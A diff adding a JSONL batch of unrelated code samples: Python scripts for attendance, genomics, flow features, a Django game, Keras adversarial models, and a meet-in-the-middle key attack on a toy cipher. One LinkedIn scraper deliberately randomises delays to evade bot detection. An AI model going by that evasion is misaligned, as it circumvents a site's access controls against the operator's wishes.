diff --git "a/2606.jsonl" "b/2606.jsonl" new file mode 100644--- /dev/null +++ "b/2606.jsonl" @@ -0,0 +1,600 @@ +{"seq_id":"645426486","text":"def markAttendance(name):\n with open('Attendance.csv','r+') as f:\n myDataList = f.readlines()\n nameList =[]\n for line in myDataList:\n entry = line.split(',')\n nameList.append(entry[0])\n if name not in line:\n now = datetime.now()\n dt_string = now.strftime(\"%H:%M:%S\")\n f.writelines(f'\\n{name},{dt_string}')\n","sub_path":"Marking Attendance.py","file_name":"Marking Attendance.py","file_ext":"py","file_size_in_byte":393,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"165519673","text":"from django.shortcuts import render, HttpResponse, redirect\nimport random\n\ndef index(request):\n if 'totalgold' not in request.session:\n request.session['totalgold'] = 0\n if 'activities' not in request.session:\n request.session['activities'] = []\n context = {\n 'totalgold' : request.session['totalgold'],\n 'activities' : request.session['activities']\n }\n return render(request, 'appGold/index.html', context)\ndef processMoney(request):\n if request.POST['location'] == 'farm':\n gold = random.randint(10,20)\n if request.POST['location'] == 'cave':\n gold = random.randint(5, 10)\n if request.POST['location'] == 'house':\n gold = random.randint(2, 5)\n if request.POST['location'] == 'casino':\n gold = random.randint(-50, 50)\n request.session['totalgold'] += gold\n\n if gold < 0:\n message = (f'Entered a {request.POST[\"location\"]} and lost {-1*gold}')\n color = 'red'\n else:\n message = (f'Earned {gold} gold from the {request.POST[\"location\"]}!')\n color = 'green'\n\n activities = {\n 'message': message,\n 'color' : color\n }\n request.session['activities'].append(activities)\n return redirect('/')\n\ndef reset(request):\n del request.session['totalgold']\n del request.session['activities']\n return redirect('/')\n","sub_path":"apps/appGold/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1352,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"380231629","text":"#!/usr/bin/python\nfrom optparse import OptionParser\n#These are the modules that are needed for this script\n# module load numpy\n# module use /net/gmi.oeaw.ac.at/software/shared/nordborg_common/modulefiles/\n# module load pygwas\n# module load vcfnp\nimport logging\nimport numpy\nimport numpy.ma\nfrom pygwas.core import genotype\nimport vcfnp\nimport pandas\nimport scipy\nimport math\n\ndef nCr(n, r):\n f = math.factorial\n return f(n) / (f(r) * f(n-r))\n\ndef likeliTest(n, y):\n p = 0.999999 ### Since computing the right likelihood is troubling\n pS = float(y)/n\n a = y * scipy.log(pS/p)\n b = (n - y) * scipy.log((1-pS)/(1-p))\n# c = scipy.log(nCr(n, y))\n return(a+b)\n\n#__________________________________________\ninOptions = OptionParser()\ninOptions.add_option(\"-i\", \"--input_file\", dest=\"inFile\", help=\"VCF/BED file for the variants in the sample\", type=\"string\")\ninOptions.add_option(\"-d\", \"--hdf5_file\", dest=\"hdf5File\", help=\"Path to SNP matrix given in binary hdf5 file chunked row-wise\", type=\"string\")\ninOptions.add_option(\"-e\", \"--hdf5_acc_file\", dest=\"hdf5accFile\", help=\"Path to SNP matrix given in binary hdf5 file chunked column-wise\", type=\"string\")\ninOptions.add_option(\"-o\", \"--output\", dest=\"outFile\", help=\"Output file with the probability scores\", type=\"string\")\ninOptions.add_option(\"-t\", \"--input_type\", dest=\"input_type\", help=\"Type of the Input given. Possible inputs: 'vcf', 'bed'\", type=\"string\")\n\n(options, args) = inOptions.parse_args()\n\nlogging.basicConfig(format='%(levelname)s:%(asctime)s: %(message)s', level=logging.DEBUG)\n\nGenotypeData = genotype.load_hdf5_genotype_data(options.hdf5File)\nGenotypeData_acc = genotype.load_hdf5_genotype_data(options.hdf5accFile)\nnum_lines = len(GenotypeData.accessions)\n\nif options.input_type == \"vcf\":\n logging.info(\"Reading the VCF file\")\n vcf = vcfnp.variants(options.inFile, cache=True).view(numpy.recarray)\n vcfD = vcfnp.calldata_2d(options.inFile, cache=True).view(numpy.recarray)\n DPthres = numpy.mean(vcf.DP[numpy.where(vcf.DP > 0)[0]]) * 4\n snpsREQ = numpy.where((vcfD.is_called[:,0]) & (vcf.QUAL > 30) & (vcf.DP > 0) & (vcf.DP < DPthres))[0]\n snpCHR = numpy.array(numpy.char.replace(vcf.CHROM[snpsREQ], \"Chr\", \"\")).astype(\"int8\")\n snpPOS = numpy.array(vcf.POS[snpsREQ])\n snpDP = vcf.DP[snpsREQ]\n snpGT = vcfD.GT[snpsREQ]\n# snpPL = vcfD.PL[snpsREQ, 0] \n# snpWEI = numpy.copy(snpPL)\n# snpWEI = snpWEI.astype(float)\n# snpWEI = snpWEI/(-10)\n# snpWEI = numpy.exp(snpWEI)\nelif options.input_type == \"pos\":\n logging.info(\"Reading the BED file\")\n targetSNPs = pandas.read_table(options.inFile, header=None, usecols=[0,1,2])\n snpCHR = numpy.array(targetSNPs[0], dtype=int) \n snpPOS = numpy.array(targetSNPs[1], dtype=int)\n snpGT = numpy.array(targetSNPs[2])\n \n \nScoreList = numpy.zeros(num_lines, dtype=\"float\")\nNumInfoSites = numpy.zeros(len(GenotypeData.accessions), dtype=\"uint32\")\nNumMatSNPs = 0\nchunk_size = 1000\n\nfor i in range(1,6):\n perchrTarPos = numpy.where(snpCHR == i)[0]\n perchrtarSNPpos = snpPOS[perchrTarPos]\n logging.info(\"Loaded %s chromosome positions from the position file\", i)\n start = GenotypeData.chr_regions[i-1][0]\n end = GenotypeData.chr_regions[i-1][1]\n chrpositions = GenotypeData.positions[start:end]\n matchedAccInd = numpy.where(numpy.in1d(chrpositions, perchrtarSNPpos))[0] + start\n matchedTarInd = numpy.where(numpy.in1d(perchrtarSNPpos, chrpositions))[0]\n matchedTarGTs = snpGT[perchrTarPos[matchedTarInd],]\n TarGTs = numpy.zeros(len(matchedTarGTs), dtype=\"int8\")\n TarGTs[numpy.where(matchedTarGTs == \"1/1\")[0]] = 1\n TarGTs1 = numpy.ones(len(matchedTarGTs), dtype=\"int8\")\n TarGTs1[numpy.where(matchedTarGTs == \"0/0\")[0]] = 0 \n NumMatSNPs = NumMatSNPs + len(matchedAccInd)\n for j in range(0, len(matchedAccInd), chunk_size):\n t1001SNPs = GenotypeData.snps[matchedAccInd[j:j+chunk_size],:]\n samSNPs = numpy.reshape(numpy.repeat(TarGTs[j:j+chunk_size], num_lines), (len(TarGTs[j:j+chunk_size]),num_lines))\n samSNPs1 = numpy.reshape(numpy.repeat(TarGTs1[j:j+chunk_size], num_lines), (len(TarGTs1[j:j+chunk_size]),num_lines))\n ScoreList = ScoreList + (numpy.sum(t1001SNPs == samSNPs, axis=0) + numpy.sum(t1001SNPs == samSNPs1, axis=0))/float(2)\n if(len(TarGTs[j:j+chunk_size]) > 1):\n NumInfoSites = NumInfoSites + len(TarGTs[j:j+chunk_size]) - numpy.sum(numpy.ma.masked_less(t1001SNPs, 0).mask.astype(int), axis = 0) # Number of informative sites\n elif(len(TarGTs[j:j+chunk_size]) == 1): \n NumInfoSites = NumInfoSites + 1 - numpy.ma.masked_less(t1001SNPs, 0).mask.astype(int)\n logging.info(\"Done analysing %s positions\", NumMatSNPs)\n\nlogging.info(\"Done calculating the scores for each accession\")\n\nLikeLiHoods = [likeliTest(NumInfoSites[i], int(ScoreList[i])) for i in range(num_lines)]\nLikeLiHoods = numpy.array(LikeLiHoods).astype(\"float\")\n\nTopHit = numpy.amin(LikeLiHoods)\nLikeLiHoodRatio = [LikeLiHoods[i]/TopHit for i in range(num_lines)]\nLikeLiHoodRatio = numpy.array(LikeLiHoodRatio).astype(\"float\")\nTopHitAcc = numpy.where(LikeLiHoodRatio < 3.841)[0]\nlogging.info(\"Number of ambiguous accessions: %s\", len(TopHitAcc))\n\noutfile = open(options.outFile, 'w')\nfor i in range(num_lines):\n score = float(ScoreList[i])/NumInfoSites[i]\n outfile.write(\"%s\\t%s\\t%s\\t%s\\t%s\\t%s\\t%s\\t%s\\n\" % (GenotypeData.accessions[i], int(ScoreList[i]), NumInfoSites[i], score, LikeLiHoods[i], LikeLiHoodRatio[i], NumMatSNPs, len(snpPOS)))\noutfile.close()\n\n\n\n","sub_path":"13_CompareVCFtoDataAcc/01_CalcHammingDist.py","file_name":"01_CalcHammingDist.py","file_ext":"py","file_size_in_byte":5401,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"76893832","text":"import numpy as np\nfrom hexutils import *\n\n\ndef find_mat(enc, r, l, f):\n\ta = np.zeros((l, l), dtype=int)\n\tb = np.zeros((l, l), dtype=int)\n\n\t# compute matrix A\n\tu = strhex_to_bin_array('0x00000000', 32)\n\tfor j in range(l):\n\t\te = np.zeros((l,), dtype=int)\n\t\te[j] = 1\n\t\tx = enc(u, e, r, l, f)\n\t\tx = x.reshape((32, 1))\n\t\ta[:, j] = x[:, 0]\n\n\t# compute matrix B\n\tk = strhex_to_bin_array('0x00000000', 32)\n\tfor j in range(l):\n\t\te = np.zeros((l,), dtype=int)\n\t\te[j] = 1\n\t\tx = enc(e, k, r, l, f)\n\t\tx = x.reshape((32, 1))\n\t\tb[:, j] = x[:, 0]\n\n\treturn a, b\n\n\ndef find_key_kpa(a, b, u, x):\n\ta_inv = np.linalg.inv(a)\n\ta_det = np.linalg.det(a)\n\ta1 = (a_inv * a_det)\n\ta1 = np.mod(a1, 2)\n\tk = np.dot(a1, (x + np.dot(b, u)))\n\tk = np.rint(k).astype(int) # the previous arrays are all float with some errors\n\n\treturn np.mod(k, 2)\n\n\ndef meet_in_the_middle(n1, n2, enc, dec, u, x, f, l):\n\tr = 13 # number of rounds\n\tl1 = []\n\tl2 = []\n\t# generate n1 random guesses for k1 and the corresponding encrypted cyphertexts\n\twhile len(l1) < n1:\n\t\tk1 = np.random.randint(0, 2, l, dtype=int)\n\t\tx1 = enc(u, k1, r, l, f)\n\t\tl1.append([bin_array_to_strhex(k1), bin_array_to_strhex(x1)])\n\t# generate n2 random guesses for k2 and the corresponding decrypted plaintexts\n\twhile len(l2) < n2:\n\t\tk2 = np.random.randint(0, 2, l, dtype=int)\n\t\tu2 = dec(x, k2, r, l, f)\n\t\tl2.append([bin_array_to_strhex(k2), bin_array_to_strhex(u2)])\n\n\t# search for matches between x1 and u2\n\tmatches = []\n\tl1 = np.array(l1)\n\tl2 = np.array(l2)\n\tprint(l1.shape, l2.shape)\n\n\tcommons, mask1, mask2 = np.intersect1d(l1[:, 1], l2[:, 1], return_indices=True)\n\tprint(\"Found matches: \", len(mask1))\n\tfor i in range(len(mask1)):\n\t\tmatches.append([l1[mask1[i], 0], l2[mask2[i], 0]])\n\treturn matches\n\n\ndef meet_in_the_middle_sequential(n1, n2, enc, dec, u, x, f, l):\n\tr = 13 # number of rounds\n\tl1 = []\n\tl2 = []\n\tn1 = max(n1, 2 ** l)\n\tn2 = max(n2, 2 ** l)\n\t# generate n1 random guesses for k1 and the corresponding encrypted cyphertexts\n\tfor i in range(n1):\n\t\tk1 = hex(i)\n\t\tx1 = enc(u, strhex_to_bin_array(k1, l), r, l, f)\n\t\tl1.append([k1, bin_array_to_strhex(x1)])\n\n\tfor i in range(n2):\n\t\tk2 = hex(i)\n\t\tu2 = dec(x, strhex_to_bin_array(k2, l), r, l, f)\n\t\tl2.append([k2, bin_array_to_strhex(u2)])\n\n\t# search for matches between x1 and u2\n\tmatches = []\n\tl1 = np.array(l1)\n\tl2 = np.array(l2)\n\tprint(l1.shape, l2.shape)\n\n\tcommons, mask1, mask2 = np.intersect1d(l1[:, 1], l2[:, 1], return_indices=True)\n\tprint(\"Found matches: \", len(mask1))\n\tfor i in range(len(mask1)):\n\t\tmatches.append([l1[mask1[i], 0], l2[mask2[i], 0]])\n\treturn matches","sub_path":"attack.py","file_name":"attack.py","file_ext":"py","file_size_in_byte":2561,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"78662618","text":"# NOTE: Selenium is perfectly compatible with Python 2.7, but flawed with Python 3.5\r\n\r\nfrom selenium import webdriver\r\nfrom selenium.webdriver.common.by import By\r\nfrom selenium.webdriver.support.ui import WebDriverWait\r\nfrom selenium.webdriver.support import expected_conditions as EC\r\nimport time\r\n\r\ndef showPreloadHTML():\r\n driver = webdriver.PhantomJS(executable_path='phantomjs.exe')\r\n driver.get(\"http://pythonscraping.com/pages/javascript/ajaxDemo.html\")\r\n \r\n # this is to wait the browser to finish connecting the page\r\n time.sleep(3)\r\n \r\n print(driver.find_element_by_id(\"content\").text)\r\n # other functions you can try out:\r\n # driver.find_element_by_css_selector(css_selector)\r\n # driver.find_element_by_tag_name(name)\r\n # [with s]\r\n # driver.find_elements_by_css_selector(css_selector)\r\n # driver.find_elements_by_tag_name(name)\r\n\r\n driver.close()\r\n\r\ndef waitUntilLoadedButton():\r\n driver = webdriver.PhantomJS(executable_path=\"phantomjs.exe\")\r\n driver.get(\"http://pythonscraping.com/pages/javascript/ajaxDemo.html\")\r\n try:\r\n # an implicit wait waits for some state in the DOM (Document Object Model) to occur before continuing\r\n # the triggering DOM state is defined by expected-condition (EC here)\r\n element = WebDriverWait(driver, 10).until(\r\n EC.presence_of_element_located((By.ID, \"loadedButton\")))\r\n finally:\r\n print(driver.find_element_by_id(\"content\").text)\r\n driver.close() \r\n\r\n\r\nif __name__ == '__main__':\r\n# showPreloadHTML()\r\n waitUntilLoadedButton()\r\n ","sub_path":"PhantomSelenium.py","file_name":"PhantomSelenium.py","file_ext":"py","file_size_in_byte":1603,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"517325258","text":"data = []\nwith open('final.dat') as f:\n for line in f:\n t1, t2, score_s, game = line.strip().split('\\t')\n data.append((t1, t2, int(score_s), int(game) - 1))\n\ntl = [x[0] for x in data]\ntotalScore = {k: 0 for k in set(tl)}\ntotalGame = {k: 0 for k in set(tl)}\ndev = {k: [0 for _ in range(10)] for k in set(tl)}\n\nfor t1, t2, score, game in data:\n totalScore[t1] += score\n totalScore[t2] -= score\n v = 1 if score > 0 else -1\n totalGame[t1] += v\n totalGame[t2] -= v\n dev[t1][game] += score\n dev[t2][game] -= score\n\nsortts = sorted(totalScore.items(), key=lambda x:x[1], reverse=True)\nr = lambda x, l: sum(1 if x < item else 0 for item in l)\n\nrank = {k: [r(dev[k][i], [v[i] for x, v in dev.items()]) for i in range(10)]\n for k in dev}\n\navg = lambda l: sum(l) / len(l)\ndev = lambda l: (sum([x**2 for x in l]) / len(l) - avg(l)**2)**0.5\nrankdev = {k: dev(v) for k, v in rank.items()}\nwith open('report.dat', 'w') as f:\n f.write('%s\\t%s\\t%s\\t%s\\n' % ('队名', '净胜分数', '净胜局数', '局间波动'))\n for t, score in sortts:\n f.write('%s\\t%d\\t%d\\t%.2f\\n' % (t, score, totalGame[t], rankdev[t]))","sub_path":"test/final.py","file_name":"final.py","file_ext":"py","file_size_in_byte":1148,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"514789535","text":"import Snp\r\n\r\n\r\nclass Contig(object):\r\n \"\"\"The Contig object represents a contig\r\n \r\n \"\"\"\r\n\r\n def __init__(self, ID, phenotype):\r\n \"\"\"The constructor of the contig sets the given parameters as instance variables and creates an empty list of SNPs.\r\n \r\n \"\"\"\r\n self.ID = ID\r\n self.phenotype = phenotype\r\n self.snps = []\r\n self.ploidy = 2\r\n \r\n def addInfo(self, chrom, start, end):\r\n \"\"\"The method addInfo is called when reading the vcf file so all information about this contig is known.\r\n On creation, only the phenotype and ID are known.\r\n \r\n \"\"\"\r\n self.chrom = chrom\r\n self.start = start\r\n self.end = end\r\n \r\n def addSnp(self, vcfLine, header):\r\n \"\"\"The method addSnp creates a Snp object and adds this object to the list of SNPs.\r\n \r\n \"\"\"\r\n try:\r\n snp = Snp.Snp(vcfLine, header, self)\r\n self.snps.append(snp)\r\n except ValueError:\r\n pass\r\n \r\n \r\n def constructHaplotypes(self):\r\n \"\"\"The method constructHaplotypes creates an haplotype string representation of all SNPs in all strands.\r\n \r\n \"\"\"\r\n self.haplotypes = {}\r\n if len(self.snps) == 0:\r\n return\r\n accessions = dict.fromkeys(self.snps[0].alleles.keys())\r\n \r\n for accession in accessions.keys():\r\n for i in range(self.ploidy):\r\n self.constructHaplotype(accession, i)\r\n \r\n self.refHaplotype = \"\"\r\n for snp in self.snps:\r\n self.refHaplotype = self.refHaplotype + snp.ref\r\n \r\n def constructHaplotype(self, accession, n):\r\n \"\"\"The method constructHaplotype creates an haplotype string representation of all SNPs and their given strand of a given accession.\r\n :param accession: The accession where to calculate the haplotype string representation from\r\n :type accession: str\r\n :param n: The strand\r\n :type n: int\r\n \"\"\"\r\n haplotypeString = \"\"\r\n for snp in self.snps:\r\n haplotypeString = haplotypeString + snp.alleles[accession][n]\r\n if haplotypeString in self.haplotypes:\r\n self.haplotypes[haplotypeString].append(accession)\r\n else:\r\n self.haplotypes[haplotypeString] = [accession]\r\n \r\n def __str__(self):\r\n return \"Contig[ID: \" + self.ID + \", chrom: \" + getattr(self, 'chrom', \"none\") + \", start: \" + str(getattr(self, 'start', -1)) + \", end: \" + str(getattr(self, 'end', -1)) + \", snps: \" + str(len(self.snps)) + \"]\"\r\n def __repr__(self):\r\n return self.__str__()","sub_path":"pythonCodebase/src/programs/phenotyper/phenotypeModel/Contig.py","file_name":"Contig.py","file_ext":"py","file_size_in_byte":2699,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"323479140","text":"#!/usr/bin/python\n# -*- coding: utf-8 -*-\nimport pcap\nimport sys\nimport socket\nimport signal \nfrom BasicPacketInfo import BasicPacketInfo\nfrom BasicFlow import BasicFlow\nimport time\nfrom struct import *\n\n\nclass FlowGenerator:\n \n\n\n def __init__(\n self,\n bidirectional,\n flowTimeout,\n activityTimeout,\n output_file_object\n ):\n self.__bidirectional = bidirectional\n self.__flowTimeout = flowTimeout\n self.__activityTimeout = activityTimeout\n self.init()\n self.__header = 0\n self.__fileObject = output_file_object\n \n\n\n\n def init(self):\n self.__flowCount = 0 \n self.__currentFlows = {}\n self.__finishedFlowCount = 0\n self.__IpAddresses = {}\n\n def addPacket(self, packetInfo):\n\n if packetInfo == None:\n return\n if self.__header == 0:\n self.__header = 1\n test = BasicFlow(self.__bidirectional,packetInfo)\n test.dumpFileHeadings(',',self.__fileObject)\n\n\n currentTimestamp = packetInfo.getTimestamp()\n\n if packetInfo.getFlowId() in self.__currentFlows:\n #print('Flow exists:{}'.format(packetInfo.getFlowId()))\n flow = self.__currentFlows[packetInfo.getFlowId()]\n #print ('Flow: {} exists'.format(packetInfo.getFlowId()))\n if currentTimestamp - flow.getFlowStartTime() > self.__flowTimeout:\n self.__currentFlows[packetInfo.getFlowId()].dumpFlowBasedFeatures(\",\",self.__fileObject)\n del self.__currentFlows[packetInfo.getFlowId()]\n self.__currentFlows[packetInfo.getFlowId()] = BasicFlow(self.__bidirectional,packetInfo, flow.getSrc(),flow.getDst(),flow.getSrcPort(), flow.getDstPort())\n elif packetInfo.hasFlagFIN():\n flow.addPacket(packetInfo)\n self.__currentFlows[packetInfo.getFlowId()].dumpFlowBasedFeatures(\",\",self.__fileObject)\n del self.__currentFlows[packetInfo.getFlowId()]\n else:\n\n flow.updateActiveIdleTime(currentTimestamp, self.__activityTimeout)\n flow.addPacket(packetInfo)\n self.__currentFlows[packetInfo.getFlowId()] = flow\n else:\n\n self.__flowCount += 1\n self.__currentFlows[packetInfo.getFlowId()] = BasicFlow(self.__bidirectional, packetInfo)\n\n def flush_flows(self):\n print(\"A total of {} flows generated\".format(self.__flowCount))\n for (key, val) in self.__currentFlows.items(): \n val.dumpFlowBasedFeatures(',', self.__fileObject)\n\n def flow_timeout(self):\n print('Checking flowtimeout.')\n ts = time.time()\n ts = ts*1000000\n target_keys = []\n for (key, val) in self.__currentFlows.items(): \n if ts - val.getFlowStartTime() > self.__flowTimeout:\n target_keys.append(key)\n for key in target_keys:\n self.__currentFlows[key].dumpFlowBasedFeatures(\",\",self.__fileObject)\n del self.__currentFlows[key]\n","sub_path":"src/FlowGenerator.py","file_name":"FlowGenerator.py","file_ext":"py","file_size_in_byte":3083,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"374014288","text":"from __future__ import print_function\n\nfrom variantgrid_api.api import VariantGridAPI\n\n\ndef add_classification_handle_args(args):\n api = VariantGridAPI.from_args(args)\n\n classification = None\n if args.dbsnp:\n classification = api.add_classifications_for_dbsnp(args.dbsnp, args.classification, args.public)\n elif args.variant:\n classification = api.add_classifications_for_variant(args.variant, args.classification, args.public)\n\n if classification:\n pk = classification[\"id\"]\n gvc_url = \"%s/variantclassification/view_genomic_variant_classification/%d\" % (api.url, pk) \n print(\"Created classification: %s\" % gvc_url)\n","sub_path":"variantgrid_api/add_classification.py","file_name":"add_classification.py","file_ext":"py","file_size_in_byte":667,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"475870377","text":"import time\nimport datetime\nimport csv\nimport os\nimport random\nfrom time import sleep\nfrom selenium import webdriver\nfrom bs4 import BeautifulSoup as bs\nfrom driver import chromedriver\n\n# check if chromedriver exist else download latest version\ncur_dir_path=os.getcwd()\npath_to_driver=os.path.join(cur_dir_path,'chromedriver')\n\ntry:\n if os.path.isfile(path_to_driver):\n '''Check chromedriver last modified date and if older than 7 days then download \n latest driver and place it in current working directory \n ''' \n chrome_driver_last_mod = datetime.datetime.today() - datetime.datetime.utcfromtimestamp(os.path.getctime('chromedriver.exe'))\n if chrome_driver_last_mod > datetime.timedelta(days = 7): \n chrome_release = chromedriver.get_chrome_driver_release()\n chromedriver.download_driver(chrome_release)\n else:\n chrome_release = chromedriver.get_chrome_driver_release()\n chromedriver.download_driver(chrome_release)\nexcept Exception as ex:\n print('Error in finding/downloading chromedriver : {}-{}'.format(path_to_driver,ex))\n raise\n\n# set max time for scrolling\nendTime = time.time() + 60*5 # 5 min\n\n# create output.csv file with heading\nwriter = csv.writer(open('output\\output.csv', 'w+', encoding='utf-8-sig', newline=''))\nwriter.writerow(['Profile', 'Description', 'Job URL'])\n\n# using chrome webdriver open browser and open linkedin login page\nbrowser = webdriver.Chrome('chromedriver')\nbrowser.get('https://www.linkedin.com/login?fromSignIn=true&trk=guest_homepage-basic_nav-header-signin')\nsleep(5)\n\n# pass username\nusername = browser.find_element_by_name(\"session_key\")\nusername.send_keys('')\n\n# pass password\npassword = browser.find_element_by_name('session_password')\npassword.send_keys('')\n\n# click on login button\nsign_in_button = browser.find_element_by_xpath('//*[@id=\"app__container\"]/main/div/form/div[3]/button')\nsign_in_button.click()\nsleep(2)\n\n# open linkdin content search url\nbrowser.get('https://www.linkedin.com/search/results/content/?keywords=oracle%20pl%20sql&origin=SWITCH_SEARCH_VERTICAL')\nsleep(5)\n\n# get the scroll height\ntotal_height = browser.execute_script(\"return document.body.scrollHeight\")\n\n# run loop until time or change condition to True to scroll till end of content\n#while True:\nwhile time.time() < endTime: \n browser.execute_script('window.scrollTo(0, document.body.scrollHeight);')\n \n # set random sleep to avoid bot detection and blocking by linkedin\n sleep(random.uniform(2.5, 4.9))\n \n # get the page source using beautifulsoup\n page = bs(browser.page_source, 'lxml') \n content = page.find_all('li',{'class':'search-content__result search-entity ember-view'})\n \n # loop through all content block and extract data\n for c in content: \n try:\n profile_url = c.find('a',{'class':'feed-shared-actor__container-link relative display-flex flex-grow-1 app-aware-link ember-view'}).get('href')\n except:\n profile_url = '' \n \n try: \n description = c.find('div',{'class':'feed-shared-text__text-view feed-shared-text-view white-space-pre-wrap break-words ember-view'}).findNext('span').findNext('span',{'class':'ember-view'}).findNext('span').get_text()\n except:\n description = ''\n \n try:\n job_url = c.find('a',{'class':'feed-shared-article__meta flex-grow-1 full-width tap-target app-aware-link ember-view'}).get('href')\n except:\n job_url = ''\n \n # write data in csv file\n writer.writerow([profile_url, description, job_url]) \n \nbrowser.quit()","sub_path":"script/ScrapeLinkedin.py","file_name":"ScrapeLinkedin.py","file_ext":"py","file_size_in_byte":3749,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"486046049","text":"import datetime\n\nEXTERNAL_URL = 'http://localhost'\nSERVER_URL = ''\nBASE_DIR = ''\nDATABASE_NAME = 'db.sqlite3'\nSECRET_KEY = b'potato'\nOUR_SENDER_EMAIL_ADDRESS = ''\nLOGIN_SESSION_EXPIRATION_TIME = datetime.timedelta(weeks=4)\n\nTELEGRAM_BOT_API_URL = ''\nTELEGRAM_RELAY_BOT_API_TOKEN = ''\nINTERNAL_TELEGRAM_BOT_API_TOKEN = ''\nINTERNAL_TELEGRAM_BOT_ADMIN_CHAT_ID = '' # I'm the admin\n\nAWS_ACCESS_KEY_ID = ''\nAWS_SECRET_ACCESS_KEY = ''\n\nS3_BUCKET = ''\nS3_BUCKET_UNPROCESSED_INBOX_MAX_ITEMS_PER_RUN = 5\nS3_BUCKET_PROCESSED_INBOX_KEY = ''\nS3_BUCKET_UNPROCESSED_INBOX_KEY = ''\n\nSES_REGION_NAME = 'us-east-1'\n\n","sub_path":"src/credentials.sample.py","file_name":"credentials.sample.py","file_ext":"py","file_size_in_byte":599,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"4687428","text":"#standard libraries\nimport numpy as np\nimport matplotlib.pyplot as plt\n#explanatory libraries from research papers\nfrom pysymbolic.benchmarks.synthetic_datasets import *\nfrom pysymbolic.algorithms.keras_predictive_models import *\nfrom pysymbolic.algorithms.instancewise_feature_selection import *\nfrom pysymbolic.algorithms.L2X import *\n#keras\nfrom tensorflow import keras\nfrom keras.callbacks import ModelCheckpoint \nfrom keras.layers import Dense, Input, Flatten, Add, Multiply, Lambda\nfrom keras.layers.normalization import BatchNormalization\nfrom keras.models import Model, Sequential\nfrom keras import regularizers\nfrom keras import backend as K\nfrom keras.engine.topology import Layer \nimport json\nimport random\nfrom keras import optimizers\n#adversarial example library\nimport cleverhans\nfrom cleverhans.future.tf2.attacks import fast_gradient_method\n#for creating file path to save checkpoints\nimport os\nimport datetime\nfrom datetime import date\n#make warnings quiet\nimport logging\nlogger = tf.get_logger()\nlogger.setLevel(logging.ERROR)\n#for printing out training results\nfrom pysymbolic.algorithms.record import *\n\n#creates model\ndef compile_model(input_shape, num_hidden = 200, regularize = False):\n if regularize:\n model = tf.keras.Sequential([\n tf.keras.layers.Dense(num_hidden, input_shape=(input_shape,), kernel_regularizer=regularizers.l2(1e-3)),\n tf.keras.layers.BatchNormalization(),\n tf.keras.layers.Dense(num_hidden, activation=tf.nn.relu, kernel_regularizer=regularizers.l2(1e-3)),\n tf.keras.layers.BatchNormalization(),\n tf.keras.layers.Dense(2),\n tf.keras.layers.Activation(tf.nn.softmax)]) #separate activation to get logits\n adam = optimizers.Adam(lr = 1e-3)\n else:\n model = tf.keras.Sequential([\n tf.keras.layers.Dense(num_hidden, input_shape=(input_shape,)),\n tf.keras.layers.Dense(num_hidden, activation=tf.nn.relu),\n tf.keras.layers.Dense(2),\n tf.keras.layers.Activation(tf.nn.softmax)]) #separate activation to get logits\n model.compile(optimizer='adam',\n loss= 'sparse_categorical_crossentropy', #should be 'sparse_categorical_crossentropy' b/c one-hot encoded\n metrics=['accuracy'])\n logits_model = tf.keras.Model(model.input,model.layers[-1].output)\n# print(model.summary) #how could I get this actually to print the model summary?\n return model, logits_model\nSOFT_MESSAGE = \"\"\"\ndef XOR_model(input_shape, num_hidden = 200):\n model = tf.keras.Sequential([\n tf.keras.layers.Dense(num_hidden, input_shape=(input_shape,), kernel_regularizer=regularizers.l2(1e-3)),\n tf.keras.layers.BatchNormalization(),\n tf.keras.layers.Dense(num_hidden, activation=tf.nn.relu, kernel_regularizer=regularizers.l2(1e-3)),\n tf.keras.layers.BatchNormalization(),\n tf.keras.layers.Dense(2, kernel_regularizer=regularizers.l2(1e-3)),\n tf.keras.layers.Activation(tf.nn.softmax)]) #separate activation to get logits\n adam = optimizers.Adam(lr = 1e-3)\n model.compile(optimizer='adam',\n loss= 'sparse_categorical_crossentropy',\n metrics=['accuracy'])\n logits_model = tf.keras.Model(model.input,model.layers[-1].output)\n return model, logits_model\n\"\"\"\n\ndef compile_model_sig(input_shape, num_hidden = 200, regularize = False):\n if regularize:\n model = tf.keras.Sequential([\n tf.keras.layers.Dense(num_hidden, input_shape=(input_shape,), kernel_regularizer=regularizers.l2(1e-3)),\n tf.keras.layers.BatchNormalization(),\n tf.keras.layers.Dense(num_hidden, activation=tf.nn.relu, kernel_regularizer=regularizers.l2(1e-3)),\n tf.keras.layers.BatchNormalization(),\n tf.keras.layers.Dense(1, kernel_regularizer=regularizers.l2(1e-3)),\n tf.keras.layers.Activation(tf.nn.sigmoid)]) #separate activation to get logits\n adam = optimizers.Adam(lr = 1e-3)\n else:\n model = tf.keras.Sequential([\n tf.keras.layers.Dense(num_hidden, input_shape=(input_shape,)),\n tf.keras.layers.Dense(num_hidden, activation=tf.nn.relu),\n tf.keras.layers.Dense(1, kernel_regularizer=regularizers.l2(1e-3)),\n tf.keras.layers.Activation(tf.nn.sigmoid)]) #separate activation to get logits\n model.compile(optimizer='adam',\n loss= 'binary_crossentropy', #should be binary_crossentropy b/c only one-output\n metrics=['accuracy'])\n logits_model = tf.keras.Model(model.input,model.layers[-1].output)\n# print(model.summary) #how could I get this actually to print the model summary?\n return model, logits_model\nSIG_MESSAGE = '''def XOR_model_mimic_l2x(input_shape, num_hidden = 200):\n model = tf.keras.Sequential([\n tf.keras.layers.Dense(num_hidden, input_shape=(input_shape,), kernel_regularizer=regularizers.l2(1e-3)),\n tf.keras.layers.BatchNormalization(),\n tf.keras.layers.Dense(num_hidden, activation=tf.nn.relu, 